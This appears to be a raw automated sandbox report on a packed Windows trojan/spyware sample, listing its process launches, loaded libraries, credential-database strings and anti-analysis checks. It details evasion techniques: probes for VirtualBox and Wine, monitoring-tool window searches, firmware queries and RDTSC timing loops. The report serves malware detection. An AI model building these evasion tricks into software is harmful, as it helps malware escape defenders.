Source: file.exe, 00000000.00000003.2333821315.0000000005827000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2323887966.00000000058F9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2322233679.0000000005828000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2339350016.0000000005981000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2337706633.0000000005A8A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2319380408.0000000005827000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2336447548.0000000005A73000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2339541503.000000000582D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2321723796.00000000058E4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2337178926.0000000005A9C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2331309252.0000000005829000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2319225555.000000000582F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2323211247.000000000582B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2335735761.0000000005943000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2339702769.000000000597B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2333672270.000000000593B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2319154515.0000000005622000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2327183404.00000000059CC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2323637449.00000000058FB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2321407344.0000000005990000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2320344317.0000000005831000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2336089343.0000000005822000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000002.2471827784.0000000005DA6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2333219121.000000000582D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2319304843.00000000058C1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe	Static PE information: Section: ZLIB complexity 0.9992827868852459
Source: file.exe	Static PE information: Section: zkcpbqpe ZLIB complexity 0.9944953751096812

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@24/64@7/6

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe, 00000000.00000003.2109672497.0000000005437000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2109958577.000000000541A000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: file.exe

ReversingLabs: Detection: 42%

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2096 --field-trial-handle=2000,i,5454548092775656080,16599925680545359581,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1512 --field-trial-handle=1980,i,3811379757786440935,1444168497897757390,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2096 --field-trial-handle=2000,i,5454548092775656080,16599925680545359581,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1512 --field-trial-handle=1980,i,3811379757786440935,1444168497897757390,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.shell.servicehostbuilder.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wkscli.dll	Jump to behavior

Source: Google Drive.lnk.3.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.3.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.3.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.3.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.3.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.3.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: file.exe

Static file information: File size 1922048 > 1048576

Source: file.exe

Static PE information: Raw size of zkcpbqpe is bigger than: 0x100000 < 0x1ab600

Source:

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe

Unpacked PE file: 0.2.file.exe.710000.0.unpack :EW;.rsrc:W;.idata :W; :EW;zkcpbqpe:EW;krptfgvl:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;zkcpbqpe:EW;krptfgvl:EW;.taggant:EW;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: file.exe

Static PE information: real checksum: 0x1e501f should be: 0x1d633e

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: zkcpbqpe
Source: file.exe	Static PE information: section name: krptfgvl
Source: file.exe	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00E4CB20 push eax; retf	0_3_00E4CB51
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00E4CB20 push eax; retf	0_3_00E4CB51
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00E4CB20 push eax; retf	0_3_00E4CB51
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00E4CB20 push eax; retf	0_3_00E4CB51
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00E4CB20 push eax; retf	0_3_00E4CB51
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00E4CB52 push eax; retf	0_3_00E4CB55
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00E4CB52 push eax; retf	0_3_00E4CB55
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00E4CB52 push eax; retf	0_3_00E4CB55
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00E4CB52 push eax; retf	0_3_00E4CB55
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00E4CB52 push eax; retf	0_3_00E4CB55
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00E4CB20 push eax; retf	0_3_00E4CB51
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00E4CB20 push eax; retf	0_3_00E4CB51
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00E4CB20 push eax; retf	0_3_00E4CB51
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00E4CB20 push eax; retf	0_3_00E4CB51
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00E4CB20 push eax; retf	0_3_00E4CB51
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00E4CB52 push eax; retf	0_3_00E4CB55
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00E4CB52 push eax; retf	0_3_00E4CB55
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00E4CB52 push eax; retf	0_3_00E4CB55
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00E4CB52 push eax; retf	0_3_00E4CB55
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00E4CB52 push eax; retf	0_3_00E4CB55
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00E4CB20 push eax; retf	0_3_00E4CB51
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00E4CB20 push eax; retf	0_3_00E4CB51
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00E4CB20 push eax; retf	0_3_00E4CB51
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00E4CB20 push eax; retf	0_3_00E4CB51
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00E4CB20 push eax; retf	0_3_00E4CB51
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00E4CB52 push eax; retf	0_3_00E4CB55
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00E4CB52 push eax; retf	0_3_00E4CB55
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00E4CB52 push eax; retf	0_3_00E4CB55
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00E4CB52 push eax; retf	0_3_00E4CB55
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00E4CB52 push eax; retf	0_3_00E4CB55
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00E4CB20 push eax; retf	0_3_00E4CB51

Source: file.exe	Static PE information: section name: entropy: 7.983743483920532
Source: file.exe	Static PE information: section name: zkcpbqpe entropy: 7.954564014881211

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information set: NOOPENFILEERRORBOX

Jump to behavior

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\file.exe

System information queried: FirmwareTableInformation

Jump to behavior

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76D0B1 second address: 76D0DA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F22FCB3D16Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ecx 0x0000000a jmp 00007F22FCB3D16Ah 0x0000000f pop ecx 0x00000010 popad 0x00000011 push eax 0x00000012 push edi 0x00000013 push eax 0x00000014 push edx 0x00000015 jg 00007F22FCB3D166h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F4A85 second address: 8F4A89 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F4A89 second address: 8F4A8F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F4A8F second address: 8F4AA4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jl 00007F22FC56C6C6h 0x0000000d ja 00007F22FC56C6C6h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E7E5D second address: 8E7E63 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F3F1A second address: 8F3F32 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 pushad 0x0000000a popad 0x0000000b jns 00007F22FC56C6C6h 0x00000011 popad 0x00000012 popad 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F3F32 second address: 8F3F36 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F3F36 second address: 8F3F6C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F22FC56C6D3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F22FC56C6D7h 0x0000000e push eax 0x0000000f push edx 0x00000010 jg 00007F22FC56C6C6h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F43C5 second address: 8F43C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F43C9 second address: 8F43DB instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jnp 00007F22FC56C6CEh 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F43DB second address: 8F43FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 pushad 0x00000006 popad 0x00000007 jmp 00007F22FCB3D179h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
